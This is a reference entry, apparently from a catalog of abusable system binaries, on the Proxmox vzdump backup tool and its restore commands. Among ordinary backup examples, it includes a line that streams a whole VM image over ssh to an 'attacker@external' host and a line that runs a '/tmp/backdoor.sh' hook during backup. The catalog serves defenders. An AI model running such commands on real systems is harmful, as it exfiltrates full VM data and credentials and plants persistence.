vzdump is the Proxmox VE backup utility for creating VM and container backups. It supports multiple backup modes and compression algorithms. Adversaries can abuse vzdump to create full VM snapshots for offline credential extraction, encrypt backups for ransomware operations, or exfiltrate entire VM images.
/usr/bin/vzdump/usr/sbin/qmrestore/usr/sbin/pctCreate a backup of a VM or container.
vzdump {vmid}
vzdump 100vzdump 100 --mode snapshot --compress zstdvzdump 100 --storage local --mode stopBackup all VMs and containers on the node.
vzdump --all
vzdump --all --mode snapshotvzdump --all --compress none --dumpdir /mnt/fast-backupCreate a live snapshot backup to a specific directory.
vzdump {vmid} --mode snapshot --dumpdir /path
vzdump 100 --mode snapshot --dumpdir /mnt/exfilvzdump 100 --stdout | ssh attacker@external "cat > backup.vma"Execute a custom script during backup phases (pre, post).
vzdump {vmid} --script /path/to/script
vzdump 100 --script /tmp/backdoor.shRestore a VM from a vzdump backup.
qmrestore {backup.vma} {vmid}
Restore a container from a vzdump backup.
pct restore {ctid} {backup.tar} --storage local